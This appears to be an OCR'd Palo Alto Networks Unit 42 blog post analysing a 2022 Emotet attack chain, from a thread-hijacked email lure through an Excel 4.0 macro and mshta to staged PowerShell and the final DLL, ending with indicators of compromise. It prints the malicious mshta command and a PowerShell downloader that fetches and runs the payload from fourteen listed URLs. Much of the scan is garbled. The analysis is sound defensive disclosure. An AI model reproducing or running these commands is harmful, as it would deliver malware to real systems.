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Executive Summary

As early as Dec. 21, 2021, Unit 42 observed a new infection method for the highly prevalent
malware family Emotet. Emotet is high-volume malware that often changes and modifies its
attack patterns. This latest modification of the Emotet attack follows suit.

The new attack delivers an Excel file through email, and the document contains an
obfuscated Excel 4.0 macro. When the macro is activated, it downloads and executes an
HTML application that downloads two stages of PowerShell to retrieve and execute the final
Emotet payload.
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Palo Alto Networks customers are protected from Emotet and similar malware families using
similar obfuscation techniques with Cortex XDR or the Next-Generation Firewall with the
WildFire and Threat Prevention security subscriptions.
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History of Emotet

Emotet was first discovered as a banking trojan in 2014, and it has been very active in recent
years. In January 2021, law enforcement and judicial agencies took down the Emotet botnet
infrastructure, but Emotet returned in November 2021 and has remained active since then.

Emotet frequently uses thread hijacking as part of its attack method. As described in our
previous blog on Emotet’s thread hijacking, this technique generates fake replies based on
legitimate emails stolen from mail clients of Windows hosts previously infected with Emotet.
The botnet uses this stolen email data to create fake replies impersonating the original
senders.

Using thread hijacking and other types of emails, Emotet has implemented different infection
methods since its return. Most notable were emails with links to install a fake Adobe
Windows App Installer Package in December 2021. After a holiday break, Emotet returned to
attachment-based emails in January 2022. As early as Dec. 21, 2021, Emotet started using a
new infection method, which we describe in this blog.

In some cases, Emotet uses a password-protected zip archive as an attachment to its email.
In other cases, Emotet uses an Excel spreadsheet directly attached to the email.

Example of an Initial Email Lure
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Shown in Figure 1, this example of an initial email lure sent by Emotet is a recent example of
Emotet’s thread hijacking. The stolen email thread is from June 2021, and this email was
sent by the Emotet botnet on Jan. 27, 2022. This example contains an encrypted zip file in
an attempt to bypass security systems. The password to the zip file is included in the email,
so that the victim can extract the contents.

= [ JUME 08, 2021 - Message (HTML)

blessnge Help {::‘ Tell me what you want b do
x == | SReply F Create New ¥ Qi 'I SMark Unresd | A Q
2 Rephy A1 i58 Cateqorize =
Dvelste Archive i) Move . Editing | Speech | Zoom
=4 Foraard e . °L [* Follow Up = . .
Dtk Respond Cuick Steps = Mo Tags e Loom -

- foll'r.z:p
b 40 kB

archivefile attachadto email: form.zip
Passward: EHGWOLRLC

Figure

Dear Sir/fadam,
‘Wwe Inform You, That we have new Announcement

"Dear all Valuable Supplier, Hereby wea wouldlike to inform you ith update June 08, 2021
revizion. Flease kindly takethe lesson and implement it in your com pany™s business activity, Thank youfor your attentionand
cooperation. '

{Individual Anpouncement)

Expirad: 31-Jul-2021
Please chack the Announcement on Announcement Link
Thanks for Your attention

Announcement Admin

The attachment nomed form. zip could not be scanned for viruses becaude 1t 13 m pasaword protected
file.

1. Example of a thread-hijacked Emotet email lure sent on Jan. 27, 2022.

3/8



Excel Document

The encrypted zip file contains a single Excel document with Excel 4.0 macros. These
macros are an old Excel feature that is frequently abused by malicious actors. The victim
must enable macros on a vulnerable Windows host before the malicious content is activated.

I SECURITY WARNIMG  Macras have been disabled. Enable Content x
a7 - f v
G H | J K L I i 8] P o} R 5 T L
l -
2 -
3 -
4 -
5 -
f g .
> ] Office 365 BE Microsoft
5
]

=
=
1 — |

THIS DOCUMENT IS PROTECTED.

PRI
Wk
1=

Previewing is not available for protected documents.

=
[
| 17 |

You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.

R R e
[NRE =R R
i e il Bl Bl B |

[
w

o]
5 1

25|

FTgure 2. Excel 4.0 macro document.

When the macro code is enabled, it executes cmd.exe to run mshta.exe with an argument to
retrieve and execute a remote HTML application. The code utilizes hex and character
obfuscation in order to attempt to bypass static detection measures. The deobfuscated
command string that is executed is: cmd /c mshta hxxp://91.240.118[.]168/se/s.html

[55A] (macrosheet) [Time Card] {worksheet) [Sheet1] (worksheet)

Defined names Formulas

Exdude functions

RUN/GOTO CHAR CONCAT

Index Formula

'554'1515 =EXEC({"cmd /.

'S54'1523 =HALT()

‘Time Card"!C21 =IF(5C516=0,"",5C516-6)

‘Time Card'!C22 =IF(8C816=0,"" 5C516-3)

‘Time Card'!C23 =IF(SC816=0,"" 5C516-4)

‘Time Card'!C24 =IF(SC816=0,"" 5C516-3)

‘Time Card'IC23 =IF(SC816=0,"" 5C516-2)

Figure 3. Excel 4.0 macro code that executes cmd and mshta.
The HTML application shown in Figure 4 is highly obfuscated. It will download and execute
additional PowerShell code.
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<html>

<head

http-equiv="x-ua-compatible' content='EmulateIE9'>
>111 = document.documentMode || document.all; var f9f76c = true; 111 = document.layers; 111 = window.sidebar
script>eval{unescape( ' \146U%¥6E¥63t\151%6Fn%20%\153%390%37\155%77t\106%48\112K%31%20%20%20%20%28qFkck¥4C%32%36%29%7B)

ipt>s7QI85IIVET = 'rVuOCigOkOOFqdSjdOXZnLtOLcGtSOFZTnM'; jG5NSopv2dGx872ZYo(xyld3V8T87US); k907mwtFHIK1(xyld3V§|
</h

<body></b

</html>

Figure 4. Obfuscated HTML application.

PowerShell

The initial obfuscated PowerShell script shown in Figure 5 connects to
hxxp://91.240.118[.]168/se/s.png. This URL returns text-based script for a second-stage set
of PowerShell code designed to retrieve an Emotet binary.

4
& Event & Process & Stack

Image

E Windows PowerShell

Microsoft Corporation
Name:  powershell.exe

Version: 10.0.19041.1 (WinBuild.160101.0800)

Path:
l CAWindows\System32\WindowsPowerShell\v1.0\powershell.exe ‘

Command Line:
[ {IONYHIONYISHIONY rinJONYHJONYJgUONYI(" ht{JONYtp{JONY}://91.240.118.168/se/5.png")' replace(JONYY, ");Sll=(Sc1,5c4,Sc3 -Join "JIEX SUI'EX |

Figure 5. Initial PowerShell downloader.

This second-stage PowerShell code shown in Figure 6 contains 14 URLSs to retrieve the
Emotet binary. The script attempts each URL until an Emotet binary is successfully
downloaded. Having multiple URLs makes this attack more resilient in the event that one of
the URLs is taken down.

5/8



GET /se/fs.png HTTP/1.1
Host: 91.248.118.168
Connection: Keep-Alive

HTTP/1.1 2@8@ OK

Server: nginx/1.28.1

Date: Thu, 27 Jan 2822 28:27:49 GMT
Content-Type: image/png

Content-Length: 1353

Last-Modified: Wed, 26 Jan 2822 87:25:55 GMT
Connection: keep-alive

ETag: "61fef783-549"

Accept-Ranges: bytes

$path = "C:\Users\Public\Documents\ssd.d1l";

$urll = 'http://unifiedpharma.com/wp-content/SarxM/";

$url2 = 'http://hotelamerpalace.com/Fox-C484/LEPqPIpt4Gbr8BHAN/ " ;

$url3 = 'https://connecticutsfinestmovers.com/Fox-C/mwOqxT17gVWaESE/ " ;
$urld = 'http://icfacn.com/runtime/n7qA2YStudp/"; I
$urls = "https://krezol-group.com:443/images/PmLGLKYeCBs5d/ " ;

$urle = "http://ledcaopingdeng.com/wp-includes/Qq39yj7fpvk/";

$url? = 'http://autodiscover.karlamejia.com/wp-admin/hcdnVIRIiwvTVrIFIEES";
$urld = 'https://crmweb.info:443/bitrix/rc9XjtwF/";

$url9 = 'http://accessunited-bank.com/admin/hzIgVwg8btak/ " ;

$urlle = "http://pigij.com/wp-admin/MVi5/";

$urlll = 'http://artanddesign.one/wp-content/uploads/A2cZL7/";

$urll2 = "http://strawberry.kids-singer.net/assets_c/WAdvNT84Dmu/ " ;

$urll3 = "https://eleccom.shop:443/services/AEjSD]/ " ;

$urlld = 'https://izocab.com/nashi-klienty/B55C/";

$web = New-Object net.webclient;
$urls = "$urll,$url2,$url3,$url4,$urls,$urls,$url?,$urls,$url9,urlle, surlll,$urll2, $urll3, Surlla”. split(",");
foreach ($url in $urls) {
try {
$web.DownloadFile($url, $path);
if ((Get-Item $path).Length -ge 3@ee8) {
[Diagnostics.Process];
break;

}

¥
catch{}

Sleep -s 4;comd Jc C:\Windows\SysWow64\rundl132.exe 'C:\Users‘Public\Documents\ssd.dll',AnyString;

Figure 6. HTTP traffic showing the second-stage PowerShell code.
The Emotet DLL loads an encrypted PE from its resource section as the final stage of this
attack chain.

o L zaps 0004D084 [AB ED 2C 14 65 RA EB B7 77 54 E2 FE F5 05 5D OF 17 3F F2 36 3C 36 82 %A 4E 44 8B 77 F7

o 4664 : 1028 0004D0A4 | FF B7 4D Fé 83 D9 OE FF 36 EF ED 89 03 92 80 BS E7 C4 AE 4A 2E 36 12 DA 65 AE B4 DA 4

Cursor 0004D0C4 (3B 28 E7 9F 30 €3 DE 94 C3 29 7C E4 11 9D 43 12 F6 83 4C 70 7C 49 7€ €9 96 AC C3 12 47

v Bitmap 0004DOE4 (DD 59 73 25 AE 78 D4 0D 73 56 EB 47 5B AB AC 72 SF 8C FB A2 DI BA 45 75 E4 42 31 46 3B
L 30094 : 1028 0004D104 (83 7C 3% 04 SE CE 0B DS €6 E1 99 C4 02 56 D 53 6E EB 7A 32 AF 5C 2D OE D7 12 ED BS 18

¢ 3099 : 1028 0004D124 10 €E 76 CO SA A DB 7F €7 AD E2 4E 84 B7 4C OA 61 AR AE 73 10 71 93 4E 42 10 %A 78 FA
0004D144
0004D164
0004D184
0004D1A4

Debug View

Icon

Dialog
String Table

Cursor Grou

~ ]} Icon Group ° onnamce
0004D1E4
12811028 tbarsed
Manifest 0004D224
0004244
0004D264
0004D284
0004284
0004D2ca
0004D2E4
0004D304
0004D324 D3 7¢ AR CD 28 E5 €5 75 28 £7 F 25 SE 1E C2 51 5B &4 4A 3D DL EC 57 1B DE 3E 3a GF 38
0004D344 |43 DE SE 95 93 E3 £S5 DS A2 94 67 35 90 €7 5L OE CC 3 FA B6 04 A7 EA E7 L1 C5 4A 5C OE
0004D364 [EL F2 28 12 CL 34 EF 84 OF 31 69 A3 CE A3 96 Bl CC D &3 45 1B BC 54 AD 07 EO %A EF 27
0004D384 | 26 41 EB S0 CB A 36 E5 C2 CC D3 €D 34 17 55 SE AR DA EA E7 S AD A7 72 62 F7 66 DA BA
0004D3A4 [ 58 2C DC 4F 60 C5 98 EL Cé E6 C 1S 86 53 4E 02 37 B7 F2 Bl 54 €5 0C AD 74 B7 Ad 12 06
0004D3C4 [ A BE 3D 27 50 CD 08 B3 34 73 BO BD 2C CE SF E: FL 28 £3 C7 L1 9D GE 3D 88 94 98 ED ES
0004D3E4 | 18 5C 94 11 DI 2 02 &7 75 1F 2B 52 EE 4A 25 43 C4 57 D3 C5 20 OC 75 AS CE OE FA 73 €1
0004D404 | 80 3F 95 D7 E6 13 F5 54 FS 32 BD 99 05 SA D 14 91 GA 7E 4D 20 31 13 DC A 74 6F D E2
0004D424 |26 73 75 52 SF F3 06 A5 D3 CL 05 2A 50 96 22 Fé FA GA 5C 6E EF 28 SE FE E¢ D3 7D ES 7C
0004D444 EC 22 AD 0B DF 03 SD 85 2C CL &A 75 B7 D& 6A 73 £C GF 90 45 A 07 82 72 37 74 3D B2 7E
0004D464 | DF 2E 93 C4 53 EF 3C 95 3¢ C6 71 €1 56 72 28 F9 8B FO E2 E9 EA 48 7 AD 7C 3F E2 AF D&
0004D484 | 51 A CE CE 0A 3¢ DA 57 D2 CF F5 CC 0B B2 11 05 78 FF 45 C9 SB 56 32 BA C 7A 38 IE 4F
0004D4A4 [ 73 OF SI L¢ AL A2 SE 4D 24 BO 6D 0¢ F€ 39 17 FD OF B €F 67 FD 3F B2 2E 15 AC 31 24 CE
0004D4C4 |AL 47 23 A0 60 BF €9 BE 52 15 1 9D B3 90 E2 A £4 2 10 CS F7 £5 FS 90 DI 17 BC A £O
0004D4E4 |6 F4 43 C2 50 0D €7 3E 51 34 EF £7 CD EC 7F 62 48 SA 17 02 7¢ 03 03 DE 13 7F FO 3D AA
0004D504 | S BS BO EL BA 77 CE 80 22 52 £0 4B B7 C7 65 D EC F4 A3 08 01 3C 27 D6 FD F2 C4 78 FO
0004D524 |E3 A 0B E4 13 13 CF 2A 55 64 F A2 BE 42 A LF F2 B3 34 5D 35 72 A4 36 4D 15 68 3F E2
0004DS44 | 38 04 ED AB 40 4 13 81 41 64 OC oC FA B7 95 B9 1A 1B 01 16 7C 51 F2 03 EQ &1 E5 4D €E
0004DS64 (B2 2D SE B4 38 4B 45 56 D2 7C 4B 41 59 F9 58 OF AE D2 C1 73 D7 EC E€ 88 42 74 87 51 BL
0004DS84 | 8F €A DF AA CO BO FD 3F 38 D3 2 32 ©5 40 ©5 E1 7D BA SF DD BB €2 ES 4F F& 1E 17 € 3¢
0004DSA4 | F6 50 CE 57 35 F3 3C 1C 4% 4A 76 D4 ©7 14 CO F3 31 4C SE FE 00 77 F4 14 55 F4 CF AL €3
0004DSC4 | 95 BF BA 94 BF OC AB AR 24 00 AS 21 48 C7 B3 35 D7 ¢ 55 4A 12 AA 3E 50 0 D2 86 55 21
0004DSE4 [ 55 28 02 EF B3 7D &3 7B €A BC DC 94 CA C7 BE 5C E2 D A% 4D OE FO FA D6 &4 &0 FB 7¢ F3
0004DE04 | 12 SF 22 47 AC BS 93 SE E4 F5 E7 54 OC 04 52 EQ ES C5 BD B4 41 EC F$ DF 7D 15 FD A% EA
0004D€24 E6 LD €B 70 SE D7 22 05 78 E4 62 C1 EL 41 E5 FB 28 47 SE 26 40 56 4D B7 8B €8 79 Cl BC
0004D€44 | 96 7C 30 F2 DO OE €E D8 9E €D SF 34 9F F9 88 €C 04 CD C1 D5 E7 82 C7 SE A9 AF 2E 2D 3E
0004D€64 [ 47 15 34 Cé 4E F C3 38 3F 3B CS 4C BD €1 02 DA 14 D& OF A6 37 A2 7€ 30 7F 84 C9 2C FE
0004DE84 [ 35 3C OL FB 0D 4F 17 6F 00 €E CC AB SF 58 3C 0F BD 15 SC B2 §7 CC 57 4B 6 28 FF 05 1
0004DEAS |53 24 AE AR 6C D3 26 55 25 AB 4E BE BO A7 43 30 44 D4 FE C5 05 75 3B 53 FC 40 45 23 AS
0004DEC4 |45 31 FA FD 0A F3 35 DE SF 05 C7 AA 00 FF 87 FO SA EB F0 C4 BC FF BE AB 4F DL 14 05 56
0004DEES [ 51 ES 33 A3 DC 63 2A 45 9E 02 27 95 04 SC 4C €5 72 BF AG A6 13 CA SE 18 DC 76 DS 22 4%
0047708 |07 % oo 2% £n an ne am ma en 1E rx am <a a4 12 FE G- me S® omonE 1m a1 e am o1 oas cE

; IpName
3 h

ule

23600 / 4CCC4 Selection - Offset: 546 Length: 1

igure 7. Emotet DLL with an encrypted PE from its resource section.
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Conclusion

Emotet is a highly-active malware family that frequently changes its infection techniques.
These changes are likely an attempt to avoid detection. Emotet’s new attack chain reveals
multiple stages with different file types and obfuscated script before arriving at the final
Emotet payload.

Palo Alto Networks customers are protected from malware families using similar obfuscation
techniques with Cortex XDR or the Next-Generation Firewall with WildFire and Threat
Prevention security subscriptions.

Indicators of Compromise

Appendix A: Files From Emotet Email Lure on Jan. 27, 2022

SHA256 hash: 9f22626232934970e4851467b7b746578f0f149984cd0ed4e1a156b391727fac9
File size: 40,929 bytes

File name: form.zip

File description: Password-protected encrypted zip archive seen on Jan. 27, 2022

Password: EHGWQARLC

SHA256 hash:
6d55f25222831cce73fd9a64a8e5a63b002522dc2637bd2704f77168c7c02d88

File size: 77,989 bytes

File name: form.xlsm

File description: Excel file with Excel 4.0 macros extracted from the above zip archive

Appendix B: PowerShell Script Seen on Jan. 27, 2022

SHA256 hash: 9bda03babb0f2c6aa9861eca95b33af06a650e2851cced4edcc1fc3abd8e7c2a1
File size: 10,986 bytes

File location: hxxp://91.240.118[.]168/se/s.html

File description: First-stage PowerShell script

SHA256 hash: 5bd4987db7e6946bf2ca3f73e17d6f75e2d8217df63b2f7763ea9a6ebcafdfed
File size: 1,353 bytes

File location: hxxp://91.240.118[.]168/se/s.png

File description: Second-stage PowerShell script

Appendix C: URLs Hosting the Emotet DLL on Jan. 27, 2022

hxxp://unifiedpharmal.Jcom/wp-content/5arxM/
hxxp://hotelamerpalace[.Jcom/Fox-C404/LEPqPJpt4Gbr8BHAN/
hxxps://connecticutsfinestmovers[.Jcom/Fox-C/mVwOqgxT17gVWaES8E/
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hxxp://icfacn[.Jcom/runtime/n7qA2Y Studp/
hxxps://krezol-group[.]Jcom:443/images/PmLGLKYeCBs5d/
hxxp://ledcaopingdeng[.Jcom/wp-includes/Qq39y;j7fpvk/
hxxp://autodiscover.karlamejia[.]Jcom/wp-admin/hcdnVIRIliwvTVrJjJEE/
hxxps://crmweb].]info:443/bitrix/rcOXjtwF/
hxxp://accessunited-bank[.Jcom/admin/hzlgVwq8btak/
hxxp://pigij[.Jcom/wp-admin/MVW5/
hxxp://artanddesign[.Jone/wp-content/uploads/A2cZL7/
hxxp://strawberry.kids-singer[.]net/assets_c/WAdvVNT84Dmu/
hxxps://eleccom|.]shop:443/services/AEjSDj/
hxxps://izocab[.Jcom/nashi-klienty/B5SC/

Appendix D: Example of Emotet DLL on Jan. 27, 2022

SHA256 hash: 2de72908e0a1ef97e4e06d8b1ba3dc0d76f580cdf36f96b5c919bea770b2805f
File size: 516,096 bytes

File location: hxxp://unifiedpharmal.Jcom/wp-content/5arxM/

File location: C:\Users\Public\Documents\ssd.dll

File location: C:\Users\[username]\AppData\Local\[random characters]\[random characters].
[random characters]

Run method: rundll32.exe [filename],[any string]

Updated Feb. 15, 2022, to list earlier dates of initial observation of the infection method.
Get updates from

Palo Alto
Networks!

Sign up to receive the latest news, cyber threat intelligence and research from us

By submitting this form, you agree to our Terms of Use and acknowledge our Privacy
Statement.
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